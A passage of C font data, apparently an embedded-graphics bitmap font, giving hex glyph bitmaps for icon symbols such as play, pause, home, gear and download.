0x0, 0x0, 0x0, 0x0, 0x2, 0xcf, 0xf7, 0x0,
0xd, 0xc5, 0xaf, 0x40, 0x2f, 0x40, 0xd, 0x90,
0xe, 0xb4, 0x2b, 0xc0, 0x3, 0xdf, 0xff, 0xd0,
0x0, 0x2, 0x49, 0xf0, 0x0, 0x0, 0x5, 0xf2,
0x0, 0x0, 0x2, 0xf5, 0x0, 0x0, 0x0, 0xf8,
0x0, 0x0, 0x0, 0xbc,
/* U+F001 "" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x49, 0xdc,
0x0, 0x0, 0x0, 0x0, 0x16, 0xbf, 0xff, 0xff,
0x0, 0x0, 0x3, 0x8d, 0xff, 0xff, 0xff, 0xff,
0x0, 0x0, 0xcf, 0xff, 0xff, 0xff, 0xff, 0xff,
0x0, 0x0, 0xff, 0xff, 0xff, 0xff, 0xc7, 0xff,
0x0, 0x0, 0xff, 0xff, 0xea, 0x51, 0x0, 0xff,
0x0, 0x0, 0xff, 0x83, 0x0, 0x0, 0x0, 0xff,
0x0, 0x0, 0xff, 0x0, 0x0, 0x0, 0x0, 0xff,
0x0, 0x0, 0xff, 0x0, 0x0, 0x0, 0x0, 0xff,
0x0, 0x0, 0xff, 0x0, 0x0, 0x0, 0x0, 0xff,
0x0, 0x0, 0xff, 0x0, 0x0, 0x2b, 0xff, 0xff,
0x0, 0x0, 0xff, 0x0, 0x0, 0xdf, 0xff, 0xff,
0x2b, 0xff, 0xff, 0x0, 0x0, 0xdf, 0xff, 0xfd,
0xdf, 0xff, 0xff, 0x0, 0x0, 0x2b, 0xff, 0xb2,
0xdf, 0xff, 0xfd, 0x0, 0x0, 0x0, 0x0, 0x0,
0x2b, 0xff, 0xb2, 0x0, 0x0, 0x0, 0x0, 0x0,
/* U+F008 "" */
0xd0, 0xf, 0xff, 0xff, 0xff, 0xff, 0xf0, 0xd,
0xff, 0xff, 0xc8, 0x88, 0x88, 0x8c, 0xff, 0xff,
0xf0, 0xf, 0x80, 0x0, 0x0, 0x8, 0xf0, 0xf,
0xf0, 0xf, 0x80, 0x0, 0x0, 0x8, 0xf0, 0xf,
0xff, 0xff, 0x80, 0x0, 0x0, 0x8, 0xff, 0xff,
0xf0, 0xf, 0xec, 0xcc, 0xcc, 0xce, 0xf0, 0xf,
0xf0, 0xf, 0xec, 0xcc, 0xcc, 0xce, 0xf0, 0xf,
0xff, 0xff, 0x80, 0x0, 0x0, 0x8, 0xff, 0xff,
0xf0, 0xf, 0x80, 0x0, 0x0, 0x8, 0xf0, 0xf,
0xf0, 0xf, 0x80, 0x0, 0x0, 0x8, 0xf0, 0xf,
0xff, 0xff, 0xc8, 0x88, 0x88, 0x8c, 0xff, 0xff,
0xd0, 0xf, 0xff, 0xff, 0xff, 0xff, 0xf0, 0xd,
/* U+F00B "" */
0xdf, 0xff, 0x73, 0xff, 0xff, 0xff, 0xff, 0xfd,
0xff, 0xff, 0xa5, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xa5, 0xff, 0xff, 0xff, 0xff, 0xff,
0xdf, 0xff, 0x73, 0xff, 0xff, 0xff, 0xff, 0xfd,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0xdf, 0xff, 0x73, 0xff, 0xff, 0xff, 0xff, 0xfd,
0xff, 0xff, 0xa5, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xa5, 0xff, 0xff, 0xff, 0xff, 0xff,
0xdf, 0xff, 0x73, 0xff, 0xff, 0xff, 0xff, 0xfd,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0xdf, 0xff, 0x73, 0xff, 0xff, 0xff, 0xff, 0xfd,
0xff, 0xff, 0xa5, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xa5, 0xff, 0xff, 0xff, 0xff, 0xff,
0xdf, 0xff, 0x73, 0xff, 0xff, 0xff, 0xff, 0xfd,
/* U+F00C "" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xa, 0xb1,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xbf, 0xfc,
0x0, 0x0, 0x0, 0x0, 0x0, 0xb, 0xff, 0xfb,
0x0, 0x0, 0x0, 0x0, 0x0, 0xbf, 0xff, 0xc0,
0x1b, 0xa0, 0x0, 0x0, 0xb, 0xff, 0xfc, 0x0,
0xcf, 0xfb, 0x0, 0x0, 0xbf, 0xff, 0xc0, 0x0,
0xbf, 0xff, 0xb0, 0xb, 0xff, 0xfc, 0x0, 0x0,
0xc, 0xff, 0xfb, 0xbf, 0xff, 0xc0, 0x0, 0x0,
0x0, 0xcf, 0xff, 0xff, 0xfb, 0x0, 0x0, 0x0,
0x0, 0xc, 0xff, 0xff, 0xb0, 0x0, 0x0, 0x0,
0x0, 0x0, 0xbf, 0xfb, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0xb, 0xb0, 0x0, 0x0, 0x0, 0x0,
/* U+F00D "" */
0x3, 0x0, 0x0, 0x0, 0x3, 0x8, 0xfc, 0x10,
0x0, 0x1c, 0xf8, 0xff, 0xfc, 0x10, 0x1c, 0xff,
0xf5, 0xff, 0xfc, 0x2c, 0xff, 0xf5, 0x5, 0xff,
0xff, 0xff, 0xf5, 0x0, 0x5, 0xff, 0xff, 0xf5,
0x0, 0x0, 0x1d, 0xff, 0xfd, 0x10, 0x0, 0x1c,
0xff, 0xff, 0xfc, 0x10, 0x1c, 0xff, 0xf9, 0xff,
0xfc, 0x1c, 0xff, 0xf5, 0x5, 0xff, 0xfc, 0xdf,
0xf5, 0x0, 0x5, 0xff, 0xd1, 0xa4, 0x0, 0x0,
0x4, 0xa1,
/* U+F011 "" */
0x0, 0x0, 0x0, 0x4f, 0xe0, 0x0, 0x0, 0x0,
0x0, 0x2, 0x10, 0x6f, 0xf1, 0x3, 0x10, 0x0,
0x0, 0x5f, 0xd0, 0x6f, 0xf1, 0x3f, 0xd1, 0x0,
0x3, 0xff, 0xf1, 0x6f, 0xf1, 0x5f, 0xfd, 0x0,
0xd, 0xff, 0x40, 0x6f, 0xf1, 0x9, 0xff, 0x70,
0x4f, 0xf7, 0x0, 0x6f, 0xf1, 0x0, 0xcf, 0xe0,
0x9f, 0xf0, 0x0, 0x6f, 0xf1, 0x0, 0x5f, 0xf3,
0xbf, 0xc0, 0x0, 0x6f, 0xf1, 0x0, 0x2f, 0xf5,
0xbf, 0xc0, 0x0, 0x4f, 0xe0, 0x0, 0x1f, 0xf6,
0xaf, 0xe0, 0x0, 0x0, 0x0, 0x0, 0x4f, 0xf4,
0x6f, 0xf4, 0x0, 0x0, 0x0, 0x0, 0xaf, 0xf0,
0xf, 0xfe, 0x10, 0x0, 0x0, 0x5, 0xff, 0xa0,
0x6, 0xff, 0xd3, 0x0, 0x0, 0x7f, 0xff, 0x20,
0x0, 0x9f, 0xff, 0xda, 0xbe, 0xff, 0xf4, 0x0,
0x0, 0x6, 0xff, 0xff, 0xff, 0xfd, 0x30, 0x0,
0x0, 0x0, 0x17, 0xbd, 0xca, 0x50, 0x0, 0x0,
/* U+F013 "" */
0x0, 0x0, 0x0, 0x8b, 0xb8, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0xff, 0xff, 0x0, 0x0, 0x0,
0x0, 0x30, 0x6, 0xff, 0xff, 0x60, 0x3, 0x0,
0x4, 0xfd, 0xdf, 0xff, 0xff, 0xfd, 0xef, 0x40,
0xd, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xd0,
0x4f, 0xff, 0xff, 0xf9, 0x9f, 0xff, 0xff, 0xf4,
0x8, 0xff, 0xff, 0x20, 0x2, 0xff, 0xff, 0x80,
0x0, 0xff, 0xf9, 0x0, 0x0, 0x9f, 0xff, 0x0,
0x0, 0xff, 0xf9, 0x0, 0x0, 0x9f, 0xff, 0x0,
0x8, 0xff, 0xff, 0x20, 0x2, 0xff, 0xff, 0x80,
0x4f, 0xff, 0xff, 0xf9, 0x9f, 0xff, 0xff, 0xf4,
0xd, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xd0,
0x4, 0xfe, 0xdf, 0xff, 0xff, 0xfd, 0xdf, 0x40,
0x0, 0x30, 0x6, 0xff, 0xff, 0x60, 0x3, 0x0,
0x0, 0x0, 0x0, 0xff, 0xff, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x8b, 0xb8, 0x0, 0x0, 0x0,
/* U+F015 "" */
0x0, 0x0, 0x0, 0x3, 0xdd, 0x30, 0x3f, 0xf3,
0x0, 0x0, 0x0, 0x0, 0x6f, 0xff, 0xf5, 0x4f,
0xf4, 0x0, 0x0, 0x0, 0x9, 0xff, 0x99, 0xff,
0xbf, 0xf4, 0x0, 0x0, 0x1, 0xbf, 0xf6, 0x22,
0x6f, 0xff, 0xf4, 0x0, 0x0, 0x2d, 0xfe, 0x35,
0xff, 0x53, 0xef, 0xf4, 0x0, 0x4, 0xff, 0xc1,
0x8f, 0xff, 0xf8, 0x2d, 0xfe, 0x40, 0x7f, 0xfa,
0x1a, 0xff, 0xff, 0xff, 0xa1, 0xaf, 0xf7, 0xcf,
0x82, 0xdf, 0xff, 0xff, 0xff, 0xfd, 0x28, 0xfc,
0x14, 0xe, 0xff, 0xff, 0xff, 0xff, 0xff, 0xe0,
0x41, 0x0, 0xf, 0xff, 0xff, 0xff, 0xff, 0xff,
0xf0, 0x0, 0x0, 0xf, 0xff, 0xf9, 0x0, 0x8f,
0xff, 0xf0, 0x0, 0x0, 0xf, 0xff, 0xf8, 0x0,
0x8f, 0xff, 0xf0, 0x0, 0x0, 0xf, 0xff, 0xf8,
0x0, 0x8f, 0xff, 0xf0, 0x0, 0x0, 0xe, 0xff,
0xf6, 0x0, 0x6f, 0xff, 0xe0, 0x0,
/* U+F019 "" */
0x0, 0x0, 0x0, 0xdf, 0xfd, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0xff, 0xff, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0xff, 0xff, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0xff, 0xff, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0xff, 0xff, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0xff, 0xff, 0x0, 0x0, 0x0,
0x0, 0x4f, 0xff, 0xff, 0xff, 0xff, 0xf4, 0x0,
0x0, 0xb, 0xff, 0xff, 0xff, 0xff, 0xb0, 0x0,
0x0, 0x0, 0xbf, 0xff, 0xff, 0xfb, 0x0, 0x0,
0x0, 0x0, 0xb, 0xff, 0xff, 0xb0, 0x0, 0x0,
0x0, 0x0, 0x0, 0xbf, 0xfb, 0x0, 0x0, 0x0,
0xdf, 0xff, 0xfc, 0x1b, 0xb1, 0xcf, 0xff, 0xfd,
0xff, 0xff, 0xff, 0xc2, 0x2c, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xf0, 0xe0, 0xff,
0xdf, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xfd,
/* U+F01C "" */
0x0, 0x4, 0xef, 0xff, 0xff, 0xff, 0xfe, 0x40,
0x0, 0x0, 0x1e, 0xff, 0xff, 0xff, 0xff, 0xff,
0xe1, 0x0, 0x0, 0xaf, 0xb0, 0x0, 0x0, 0x0,
0xb, 0xfa, 0x0, 0x5, 0xff, 0x10, 0x0, 0x0,
0x0, 0x1, 0xff, 0x50, 0x1e, 0xf6, 0x0, 0x0,
0x0, 0x0, 0x0, 0x6f, 0xe1, 0xaf, 0xb0, 0x0,
0x0, 0x0, 0x0, 0x0, 0xb, 0xfa, 0xff, 0xff,
0xff, 0x80, 0x0, 0x8, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xf1, 0x0, 0x1f, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0x8f, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xf8,
/* U+F021 "" */
0x0, 0x0, 0x6, 0xbd, 0xda, 0x50, 0x2, 0xff,
0x0, 0x5, 0xef, 0xff, 0xff, 0xfe, 0x42, 0xff,
0x0, 0x7f, 0xff, 0xa7, 0x7b, 0xff, 0xf9, 0xff,
0x5, 0xff, 0xc1, 0x0, 0x0, 0x2c, 0xff, 0xff,
0xe, 0xfc, 0x0, 0x0, 0x2, 0x22, 0xdf, 0xff,
0x5f, 0xf2, 0x0, 0x0, 0xf, 0xff, 0xff, 0xff,
0x8f, 0xb0, 0x0, 0x0, 0xf, 0xff, 0xff, 0xff,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0xff, 0xff, 0xff, 0xf0, 0x0, 0x0, 0xb, 0xf8,
0xff, 0xff, 0xff, 0xf0, 0x0, 0x0, 0x2f, 0xf4,
0xff, 0xfd, 0x22, 0x20, 0x0, 0x0, 0xcf, 0xe0,
0xff, 0xff, 0xc2, 0x0, 0x0, 0x2c, 0xff, 0x40,
0xff, 0x9f, 0xff, 0xb7, 0x6a, 0xff, 0xf7, 0x0,
0xff, 0x24, 0xdf, 0xff, 0xff, 0xfe, 0x50, 0x0,
0xff, 0x20, 0x5, 0xac, 0xdb, 0x60, 0x0, 0x0,
/* U+F026 "" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x8d,
0x0, 0x0, 0x8, 0xff, 0x0, 0x0, 0x8f, 0xff,
0xdf, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xdf, 0xff, 0xff, 0xff,
0x0, 0x0, 0x8f, 0xff, 0x0, 0x0, 0x8, 0xff,
0x0, 0x0, 0x0, 0x8d, 0x0, 0x0, 0x0, 0x0,
/* U+F027 "" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x8d, 0x0, 0x0, 0x0, 0x0, 0x8, 0xff,
0x0, 0x0, 0x0, 0x0, 0x8f, 0xff, 0x0, 0x0,
0xcf, 0xff, 0xff, 0xff, 0x1, 0x50, 0xff, 0xff,
0xff, 0xff, 0x6, 0xf7, 0xff, 0xff, 0xff, 0xff,
0x0, 0xbe, 0xff, 0xff, 0xff, 0xff, 0x0, 0xae,
0xff, 0xff, 0xff, 0xff, 0x5, 0xf8, 0xdf, 0xff,
0xff, 0xff, 0x2, 0x60, 0x0, 0x0, 0x9f, 0xff,
0x0, 0x0, 0x0, 0x0, 0x9, 0xff, 0x0, 0x0,
0x0, 0x0, 0x0, 0x9e, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0,
/* U+F028 "" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x6, 0x10,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1f,
0xd2, 0x0, 0x0, 0x0, 0x0, 0x8d, 0x0, 0x0,
0x3, 0xee, 0x10, 0x0, 0x0, 0x8, 0xff, 0x0,
0xa, 0xb1, 0x2f, 0xb0, 0x0, 0x0, 0x8f, 0xff,
0x0, 0x5, 0xfc, 0x7, 0xf4, 0xdf, 0xff, 0xff,
0xff, 0x2, 0x50, 0x5f, 0x60, 0xf9, 0xff, 0xff,
0xff, 0xff, 0x6, 0xf7, 0xd, 0xc0, 0xbd, 0xff,
0xff, 0xff, 0xff, 0x0, 0xae, 0x9, 0xf0, 0x9f,
0xff, 0xff, 0xff, 0xff, 0x0, 0xae, 0x9, 0xf0,
0x8f, 0xff, 0xff, 0xff, 0xff, 0x6, 0xf7, 0xd,
0xc0, 0xad, 0xdf, 0xff, 0xff, 0xff, 0x2, 0x50,
0x5f, 0x60, 0xe9, 0x0, 0x0, 0x8f, 0xff, 0x0,
0x5, 0xfc, 0x6, 0xf4, 0x0, 0x0, 0x8, 0xff,
0x0, 0xa, 0xb1, 0x2f, 0xb0, 0x0, 0x0, 0x0,
0x8d, 0x0, 0x0, 0x2, 0xee, 0x10, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x1f, 0xd2, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x6, 0x10, 0x0,
/* U+F03E "" */
0x8f, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xf8,
0xff, 0xfc, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0x20, 0x2f, 0xff, 0xff, 0xff, 0xff, 0xff,
0xfc, 0x0, 0xc, 0xff, 0xff, 0xee, 0xff, 0xff,
0xff, 0x20, 0x2f, 0xff, 0xfe, 0x22, 0xef, 0xff,
0xff, 0xfc, 0xff, 0xff, 0xe2, 0x0, 0x2e, 0xff,
0xff, 0xfe, 0x4e, 0xfe, 0x20, 0x0, 0x2, 0xff,
0xff, 0xe2, 0x2, 0xc2, 0x0, 0x0, 0x0, 0xff,
0xff, 0x20, 0x0, 0x0, 0x0, 0x0, 0x0, 0xff,
0xff, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0x8f, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xf8,
/* U+F048 "" */
0x0, 0x0, 0x0, 0x0, 0x0, 0xff, 0x30, 0x0,
0x1, 0xcc, 0xff, 0x40, 0x0, 0x2d, 0xff, 0xff,
0x40, 0x3, 0xef, 0xff, 0xff, 0x40, 0x3f, 0xff,
0xff, 0xff, 0x44, 0xff, 0xff, 0xff, 0xff, 0x9f,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xaf, 0xff,
0xff, 0xff, 0xff, 0x45, 0xff, 0xff, 0xff, 0xff,
0x40, 0x4f, 0xff, 0xff, 0xff, 0x40, 0x3, 0xef,
0xff, 0xff, 0x40, 0x0, 0x2e, 0xff, 0xff, 0x30,
0x0, 0x1, 0xcc, 0x0, 0x0, 0x0, 0x0, 0x0,
/* U+F04B "" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x8f,
0x91, 0x0, 0x0, 0x0, 0x0, 0x0, 0xff, 0xff,
0x70, 0x0, 0x0, 0x0, 0x0, 0xff, 0xff, 0xfd,
0x40, 0x0, 0x0, 0x0, 0xff, 0xff, 0xff, 0xfa,
0x10, 0x0, 0x0, 0xff, 0xff, 0xff, 0xff, 0xf7,
0x0, 0x0, 0xff, 0xff, 0xff, 0xff, 0xff, 0xd5,
0x0, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xb2,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xfd, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xfd, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xb2, 0xff, 0xff, 0xff,
0xff, 0xff, 0xd5, 0x0, 0xff, 0xff, 0xff, 0xff,
0xf7, 0x0, 0x0, 0xff, 0xff, 0xff, 0xfa, 0x10,
0x0, 0x0, 0xff, 0xff, 0xfd, 0x40, 0x0, 0x0,
0x0, 0xff, 0xff, 0x70, 0x0, 0x0, 0x0, 0x0,
0x8e, 0xa1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
/* U+F04C "" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x8f,
0xff, 0xf8, 0x0, 0x8f, 0xff, 0xf8, 0xff, 0xff,
0xff, 0x0, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0x0, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x0,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x0, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0x0, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0x0, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0x0, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0x0, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0x0, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0x0, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x0,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x0, 0xff,
0xff, 0xff, 0x7f, 0xff, 0xf7, 0x0, 0x7f, 0xff,
0xf7,
/* U+F04D "" */
0x8f, 0xff, 0xff, 0xff, 0xff, 0xff, 0xf8, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0x8f, 0xff, 0xff, 0xff, 0xff,
0xff, 0xf8,
/* U+F051 "" */
0x0, 0x0, 0x0, 0x0, 0x0, 0xcc, 0x10, 0x0,
0x3, 0xff, 0xff, 0xd2, 0x0, 0x4, 0xff, 0xff,
0xfe, 0x30, 0x4, 0xff, 0xff, 0xff, 0xf4, 0x4,
0xff, 0xff, 0xff, 0xff, 0x54, 0xff, 0xff, 0xff,
0xff, 0xf9, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xf9, 0xff, 0xff, 0xff, 0xff, 0x44, 0xff, 0xff,
0xff, 0xf3, 0x4, 0xff, 0xff, 0xfe, 0x30, 0x4,
0xff, 0xff, 0xd2, 0x0, 0x4, 0xff, 0xcc, 0x10,
0x0, 0x3, 0xff, 0x0, 0x0, 0x0, 0x0, 0x0,
/* U+F052 "" */
0x0, 0x0, 0x0, 0x2d, 0xd2, 0x0, 0x0, 0x0,
0x0, 0x0, 0x1, 0xef, 0xfe, 0x10, 0x0, 0x0,
0x0, 0x0, 0x1d, 0xff, 0xff, 0xd1, 0x0, 0x0,
0x0, 0x0, 0xcf, 0xff, 0xff, 0xfc, 0x0, 0x0,
0x0, 0xb, 0xff, 0xff, 0xff, 0xff, 0xb0, 0x0,
0x0, 0xaf, 0xff, 0xff, 0xff, 0xff, 0xfa, 0x0,
0x9, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x90,
0xf, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xf0,
0x8, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x80,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0xc, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xc0,
0xf, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xf0,
0xf, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xf0,
0xc, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xc0,
/* U+F053 "" */
0x0, 0x0, 0x0, 0x1a, 0x40, 0x0, 0x0, 0x1,
0xdf, 0xf0, 0x0, 0x0, 0x1d, 0xff, 0xa0, 0x0,
0x1, 0xdf, 0xfa, 0x0, 0x0, 0x1d, 0xff, 0xa0,
0x0, 0x1, 0xdf, 0xfa, 0x0, 0x0, 0xc, 0xff,
0xa0, 0x0, 0x0, 0xd, 0xff, 0x80, 0x0, 0x0,
0x1, 0xdf, 0xf8, 0x0, 0x0, 0x0, 0x1d, 0xff,
0x80, 0x0, 0x0, 0x1, 0xdf, 0xf8, 0x0, 0x0,
0x0, 0x1d, 0xff, 0x80, 0x0, 0x0, 0x1, 0xdf,
0xf0, 0x0, 0x0, 0x0, 0x1b, 0x50,
/* U+F054 "" */
0x4, 0xa1, 0x0, 0x0, 0x0, 0xf, 0xfd, 0x10,
0x0, 0x0, 0xa, 0xff, 0xd1, 0x0, 0x0, 0x0,
0xaf, 0xfd, 0x10, 0x0, 0x0, 0xa, 0xff, 0xd1,
0x0, 0x0, 0x0, 0xaf, 0xfd, 0x10, 0x0, 0x0,
0xa, 0xff, 0xc0, 0x0, 0x0, 0x8, 0xff, 0xd0,
0x0, 0x0, 0x8f, 0xfd, 0x10, 0x0, 0x8, 0xff,
0xd1, 0x0, 0x0, 0x8f, 0xfd, 0x10, 0x0, 0x8,
0xff, 0xd1, 0x0, 0x0, 0xf, 0xfd, 0x10, 0x0,
0x0, 0x5, 0xb1, 0x0, 0x0, 0x0,
/* U+F067 "" */
0x0, 0x0, 0x4, 0xff, 0x40, 0x0, 0x0, 0x0,
0x0, 0x8, 0xff, 0x80, 0x0, 0x0, 0x0, 0x0,
0x8, 0xff, 0x80, 0x0, 0x0, 0x0, 0x0, 0x8,
0xff, 0x80, 0x0, 0x0, 0x0, 0x0, 0x8, 0xff,
0x80, 0x0, 0x0, 0x48, 0x88, 0x8c, 0xff, 0xc8,
0x88, 0x84, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0x48, 0x88, 0x8c, 0xff, 0xc8, 0x88, 0x84, 0x0,
0x0, 0x8, 0xff, 0x80, 0x0, 0x0, 0x0, 0x0,
0x8, 0xff, 0x80, 0x0, 0x0, 0x0, 0x0, 0x8,
0xff, 0x80, 0x0, 0x0, 0x0, 0x0, 0x8, 0xff,
0x80, 0x0, 0x0, 0x0, 0x0, 0x4, 0xff, 0x40,
0x0, 0x0,
/* U+F068 "" */
0x14, 0x44, 0x44, 0x44, 0x44, 0x44, 0x41, 0xef,
0xff, 0xff, 0xff, 0xff, 0xff, 0xfe, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0x7b, 0xbb, 0xbb,
0xbb, 0xbb, 0xbb, 0xb7,
/* U+F06E "" */
0x0, 0x0, 0x5, 0xad, 0xff, 0xda, 0x50, 0x0,
0x0, 0x0, 0x4, 0xdf, 0xfc, 0x88, 0xcf, 0xfd,
0x40, 0x0, 0x0, 0x7f, 0xfe, 0x40, 0x0, 0x4,
0xef, 0xf7, 0x0, 0x7, 0xff, 0xf4, 0x0, 0x9e,
0x80, 0x4f, 0xff, 0x70, 0x4f, 0xff, 0xc0, 0x0,
0xaf, 0xf8, 0xc, 0xff, 0xf4, 0xdf, 0xff, 0x80,
0x9a, 0xff, 0xfe, 0x8, 0xff, 0xfd, 0xdf, 0xff,
0x80, 0xef, 0xff, 0xfe, 0x8, 0xff, 0xfd, 0x4f,
0xff, 0xc0, 0x8f, 0xff, 0xf8, 0xc, 0xff, 0xf4,
0x7, 0xff, 0xf4, 0x8, 0xee, 0x80, 0x4f, 0xff,
0x70, 0x0, 0x7f, 0xfe, 0x40, 0x0, 0x4, 0xef,
0xf8, 0x0, 0x0, 0x4, 0xdf, 0xfc, 0x88, 0xcf,
0xfd, 0x40, 0x0, 0x0, 0x0, 0x5, 0xad, 0xff,
0xda, 0x50, 0x0, 0x0,
/* U+F070 "" */
0x8c, 0x20, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0xdf, 0xe4, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x1b, 0xff, 0x80, 0x49,
0xdf, 0xfd, 0xa5, 0x0, 0x0, 0x0, 0x0, 0x7f,
0xff, 0xff, 0xd8, 0x8c, 0xff, 0xd4, 0x0, 0x0,
0x0, 0x4, 0xef, 0xf8, 0x0, 0x0, 0x4e, 0xff,
0x70, 0x0, 0x0, 0x0, 0x1c, 0xff, 0x69, 0xe8,
0x4, 0xff, 0xf7, 0x0, 0x4, 0xe3, 0x0, 0x9f,
0xfe, 0xff, 0x80, 0xcf, 0xff, 0x40, 0xd, 0xff,
0x70, 0x5, 0xff, 0xff, 0xe0, 0x8f, 0xff, 0xd0,
0xd, 0xff, 0xf7, 0x0, 0x2d, 0xff, 0xe0, 0x8f,
0xff, 0xd0, 0x4, 0xff, 0xfc, 0x0, 0x0, 0xaf,
0xf8, 0xcf, 0xff, 0x30, 0x0, 0x7f, 0xff, 0x40,
0x0, 0x6, 0xff, 0xff, 0xf7, 0x0, 0x0, 0x8,
0xff, 0xf4, 0x0, 0x0, 0x3e, 0xff, 0xa0, 0x0,
0x0, 0x0, 0x4d, 0xff, 0xc8, 0x82, 0x1, 0xbf,
0xf7, 0x0, 0x0, 0x0, 0x0, 0x5a, 0xdf, 0xfc,
0x10, 0x8, 0xff, 0xa0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x4e, 0xfd, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x2, 0xc8,
/* U+F071 "" */
0x0, 0x0, 0x0, 0x0, 0x2d, 0xd2, 0x0, 0x0,
